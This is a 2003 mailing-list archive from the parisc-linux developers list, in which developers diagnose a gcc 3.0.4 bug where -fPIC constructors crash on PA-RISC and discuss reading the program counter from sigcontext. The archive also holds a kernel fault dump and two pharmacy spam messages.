involves accessing the got table in some situations.  This can happen
in crtstuff.c which runs constructors.  Do you have a testcase?

It might be a linker issue.  There are some subtle issues with calling
PIC code that's not in a shared library.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Boehm, Hans" <hans_boehm@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Program counter from sigcontext, constructors
Date: Fri, 25 Apr 2003 13:21:47 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <75A9FEBA25015040A761C1F74975667D01442052@hplex4.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622409 24926 80.91.229.3 (22 Nov 2014 02:13:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:29 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org,
	"Boehm, Hans" <hans_boehm@hp.com>
To: "'John David Anglin'" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 14:21:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id A044D483D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 14:21:54 -0600 (MDT)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	by palrel13.hp.com (Postfix) with ESMTP
	id 170391C00AE6; Fri, 25 Apr 2003 13:21:54 -0700 (PDT)
Original-Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182])
	by hplms2.hpl.hp.com (8.12.9/8.12.9/HPL-PA Hub) with SMTP id h3PKLri0018385;
	Fri, 25 Apr 2003 13:21:53 -0700 (PDT)
Original-Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Fri, 25 Apr 2003 13:21:52 -0700
Original-Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19)
	id <2K0BWWRW>; Fri, 25 Apr 2003 13:21:52 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18331

Thanks.

It turns out the constructor issue does have a simple test case.  I assume the issues is with -fPIC code in a main program constructor?  With luck, this may only matter for my test case.  For any real use, this would be in a dynamic library.

Hans

spe170> cat constr.c
#include <stdio.h>

int x = 42;

int y;

void my_start(void) __attribute__ ((constructor));

main()
{
  printf("x, y = %d, %d \n", x, y);
  return 0;
}


void my_start(void)
{
  y = x;
}
spe170> cc -fPIC -g constr.c
spe170> ./a.out
Segmentation fault
spe170> cc -g constr.c
spe170> ./a.out
x, y = 42, 42
spe170>

> -----Original Message-----
> From: John David Anglin [mailto:dave@hiauly1.hia.nrc.ca]
> Sent: Friday, April 25, 2003 12:56 PM
> To: hans_boehm@hp.com
> Cc: carlos@baldric.uwo.ca; parisc-linux@lists.parisc-linux.org;
> hans_boehm@hp.com
> Subject: Re: [parisc-linux] Program counter from sigcontext,
> constructurs
> 
> 
> > > > 2) If I mark a C function as a constructor function, and 
> > > compile it with -fPIC, it seems to run before globals are 
> > > properly accessible.  The retrieval of the address of a 
> > > global through the global offset table seems to return a bad 
> > > address and the access faults.  Are there known issues in 
> > > this area?  (The offending function actually ends up in the 
> > > main program, if that matters.)
> 
> I'm not aware of any.  All the libstdc++ test pass and this involves
> running constructors in a shared library, so it would seem the PIC
> register and got table must be setup.  Function pointer 
> canonicalization
> involves accessing the got table in some situations.  This can happen
> in crtstuff.c which runs constructors.  Do you have a testcase?
> 
> It might be a linker issue.  There are some subtle issues with calling
> PIC code that's not in a shared library.
> 
> Dave
> -- 
> J. David Anglin                                  
> dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 
> 990-0752 (FAX: 952-6602)
> 


From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs and -fPIC
Date: Fri, 25 Apr 2003 16:52:59 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20030425205259.GG32717@systemhalted>
References: <75A9FEBA25015040A761C1F74975667D01442051@hplex4.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622410 24929 80.91.229.3 (22 Nov 2014 02:13:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:30 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Boehm, Hans" <hans_boehm@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 14:52:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com (fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48684483C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 14:52:14 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.68])
          by fep04-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030425205212.EEWI15029.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Fri, 25 Apr 2003 16:52:12 -0400
Content-Disposition: inline
In-Reply-To: <75A9FEBA25015040A761C1F74975667D01442051@hplex4.hpl.hp.com>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (91% Sync Ratio [=========.])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep04-mail.bloor.is.net.cable.rogers.com from [24.112.227.68] using ID <patofiero@rogers.com> at Fri, 25 Apr 2003 16:52:12 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18332

Hans,

> It's a new, currently rather simple, but thread-compatible, purely user-level, profiler.  It includes some infrastructure for using hardware atomic operations in reasonably portable ways.  Need less to say, PA-RISC makes a wonderful test case.

Cool. (Could you please make your MUA wrap lines at a reasonable length?).

> > A. What kernel are you using?
> 2.4.17-64 on spe170.testdrive.hp.com.

Needs updating :)
  
> Once you get the PC in the signal handler, that's easy.  It sounds like getting the PC from a signal handler from a 32-bit executable on a 64-bit kernel is currently impossible?  I should probably focus on 64-bit executables?  Or does profil() have a way to get around the problem?

64-bit executables don't exist in Linux .... I'm working on it, if you
want to get into the glibc port please talk to me off-list :)

64-bit kernels spill 64-bit values into the 32-bit values of the
sigcontext struct. Which means you get everything in the wrong place and
much larger than you expected. This _has_ to be fixed soon, perhaps I'll
look at this code next.

c. 


From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructors
Date: Fri, 25 Apr 2003 17:37:01 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200304252137.h3PLb16r014226@hiauly1.hia.nrc.ca>
References: <75A9FEBA25015040A761C1F74975667D01442052@hplex4.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622410 24930 80.91.229.3 (22 Nov 2014 02:13:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:30 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org,
	hans_boehm@hp.com
To: hans_boehm@hp.com (Boehm, Hans)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 15:37:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59FF64830
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 15:37:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h3PLb2K1014228;
	Fri, 25 Apr 2003 17:37:02 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h3PLb16r014226;
	Fri, 25 Apr 2003 17:37:01 -0400 (EDT)
In-Reply-To: <75A9FEBA25015040A761C1F74975667D01442052@hplex4.hpl.hp.com> from "Boehm, Hans" at Apr 25, 2003 01:21:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18333

> spe170> cc -fPIC -g constr.c
> spe170> ./a.out
> Segmentation fault

I'm unable to duplicate this on gsyprf11.  I tried several gcc versions.
I'm using glibc 2.3.1-15.  ld is version 2.13.90 20030210.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sstfb crash
Date: Fri, 25 Apr 2003 16:52:16 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20030425225216.GB11509@dsl2.external.hp.com>
References: <200304251408.39242.arjenh@chello.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622410 24933 80.91.229.3 (22 Nov 2014 02:13:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arjen Hommersom <arjenh@chello.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 16:52:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 496F6483F; Fri, 25 Apr 2003 16:52:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200304251408.39242.arjenh@chello.nl>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18334

On Fri, Apr 25, 2003 at 02:08:38PM +0200, Arjen Hommersom wrote:
> Kernel Fault: Code=15 regs=1ec64900 (Addr=eae3e729)

data page fault - trying to access an invalid address.
 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001110
> r00-03  00000000 102ad810 101f5f68 1ebe5ab4
> r04-07  00000000 00000000 00000000 1ebe5800
> r08-11  ffffffff 1ec64810 6269745f 1ebaa000
> r12-15  1fdabcc0 1ec64550 000435a8 00042da8
> r16-19  00042da8 00042da8 000521c8 00450192
> r20-23  001f5dce 2bb0e9ab eae3e71d 745f6c6f
> r24-27  00000000 00000000 745f6c6f 10292010
> r28-31  0000000f f3000000 1ec64900 101f20d4
> sr0-3   00000000 0000034d 00000000 0000034d 
> sr4-7   00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IADQ: 10135394 10135398

"IAOQ" (not IADQ) points at the offending instruction.

grant


From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ashley P. Harris" <ashley_harris_40@ans.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Have girls chasing you.   i7o5v41odfyoy
Date: Tue, 22 Apr 2003 01:53:09 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <HBKLAEEFCIHBHNAMGNFCFCHKHOAA.ashley_harris_40@ans.net>
References: <a77601c30560$b51ad87e$b7695919@bbza0d3>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622410 24934 80.91.229.3 (22 Nov 2014 02:13:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 26 00:04:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cisco.com (ipd50a3b3b.speed.planet.nl [213.10.59.59])
	by dsl2.external.hp.com (Postfix) with SMTP id DD3094840
	for <parisc-linux@parisc-linux.org>; Sat, 26 Apr 2003 00:04:16 -0600 (MDT)
In-Reply-To: <a77601c30560$b51ad87e$b7695919@bbza0d3>
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18335

	<HTML>
 
 
		<body>
   
 <A HREF="http://www.shopnow.bz/b/josh/pill.php"><IMG SRC="http://wwww.shopnow.bz/b/josh/op/p.jpg" BORDER=0> 
		</A><p><br>Don't want any more adverts? Simply click <a href="http://smtds.sruhost.com.br/op/optout.html">here</a>.</p>
 
</BODY>		
	
 </html>	
 



From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Patterson" <patterson@altavista.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] your cooperation is appreciated                                   i   bw5rg925tnaq6
Date: Tue, 22 Apr 2003 13:13:40 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <PCBFCFOIHHILNJENCHEAKNNDOKAA.patterson@altavista.com>
References: <985a01c307fa$bb30cbf7$867c23b8@tp1i9r3>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622411 24938 80.91.229.3 (22 Nov 2014 02:13:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:31 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 26 07:20:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from monster.com (adsl-66-142-148-79.dsl.hstntx.swbell.net [66.142.148.79])
	by dsl2.external.hp.com (Postfix) with SMTP id 43D504843
	for <parisc-linux@parisc-linux.org>; Sat, 26 Apr 2003 07:20:08 -0600 (MDT)
In-Reply-To: <985a01c307fa$bb30cbf7$867c23b8@tp1i9r3>
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18336

 
 <HTML>	
	
 
	<body bgcolor="#ffffff">
 
	
		
	
 <A HREF="http://wwww.shopnow.bz/b/josh/premium/ps.html">	
	<IMG SRC="http://wwww.shopnow.bz/b/josh/h/d.jpg" BORDER=0> 
     </a><p><br><br><br><font face="arial" size="-2">Erase your email record <a href="http://www.nocharge.biz/rmv/">here</a>.</p>			
 </BODY>
		
 </html>
	


From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructors
Date: Sat, 26 Apr 2003 12:08:29 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20030426160829.GE8269@systemhalted>
References: <75A9FEBA25015040A761C1F74975667D01442052@hplex4.hpl.hp.com> <200304252137.h3PLb16r014226@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622411 24940 80.91.229.3 (22 Nov 2014 02:13:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:31 +0000 (UTC)
Cc: "Boehm, Hans" <hans_boehm@hp.com>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 26 10:07:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com (fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F1CD4845
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Apr 2003 10:07:39 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.68])
          by fep01-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030426160733.KGGM17605.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Sat, 26 Apr 2003 12:07:33 -0400
Content-Disposition: inline
In-Reply-To: <200304252137.h3PLb16r014226@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (2% Sync Ratio [..........])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep01-mail.bloor.is.net.cable.rogers.com from [24.112.227.68] using ID <patofiero@rogers.com> at Sat, 26 Apr 2003 12:07:33 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18337

> > spe170> cc -fPIC -g constr.c
> > spe170> ./a.out
> > Segmentation fault
> 
> I'm unable to duplicate this on gsyprf11.  I tried several gcc versions.
> I'm using glibc 2.3.1-15.  ld is version 2.13.90 20030210.
> 

Which versions did you try? :)

bash-2.05b$ gcc-3.0 -fPIC -g test-fpic.c; ./a.out
Segmentation fault

GNU ld version 2.13.90.0.18 20030121 Debian GNU/Linux

Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0.4/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,objc
--prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared
--with-gnu-as --with-gnu-ld --with-system-zlib --enable-long-long
--enable-nls --without-included-gettext --disable-checking
--enable-threads=posix --with-cpp-install-dir=bin --enable-objc-gc
hppa-linux
Thread model: posix
gcc version 3.0.4

Crashes under 3.0.4, looks like the possible PIC register bug we saw
with the double printf. I recommend you move to a newer gcc if possible.
I spent a few minutes looking at assembler output and %r19 looks to low
to be valid...

c.



From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructors
Date: Sat, 26 Apr 2003 13:33:49 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <200304261733.h3QHXo9P001332@hiauly1.hia.nrc.ca>
References: <20030426160829.GE8269@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622411 24942 80.91.229.3 (22 Nov 2014 02:13:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:31 +0000 (UTC)
Cc: hans_boehm@hp.com, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 26 11:33:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D1054848
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Apr 2003 11:33:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h3QHXpK1001334;
	Sat, 26 Apr 2003 13:33:52 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h3QHXo9P001332;
	Sat, 26 Apr 2003 13:33:50 -0400 (EDT)
In-Reply-To: <20030426160829.GE8269@systemhalted> from "Carlos O'Donell" at Apr 26, 2003 12:08:29 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18338

> Which versions did you try? :)
> 
> bash-2.05b$ gcc-3.0 -fPIC -g test-fpic.c; ./a.out
> Segmentation fault

gcc version 3.2.3 20030316 (Debian prerelease)
gcc version 3.3 20030419 (prerelease)
gcc version 3.4 20030115 (experimental)

> Crashes under 3.0.4, looks like the possible PIC register bug we saw
> with the double printf. I recommend you move to a newer gcc if possible.
> I spent a few minutes looking at assembler output and %r19 looks to low
> to be valid...

This is a bug in 3.0.4.  If you look at the assembler output for the
testcase, you will see the following:

	.section	.ctors,"aw"
	.long	my_start

This is incorrect.  The code should be:

	.section	.ctors,"aw",@progbits
	.align	4
	.word	P%my_start

Using a plabel constructor causes $$dyncall to correctly load the
pic register for the call to my_start.  This is necessary because
the startup file crtbegin.o is not compiled as pic code and the
code in __do_global_ctors_aux clobbers the pic register.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


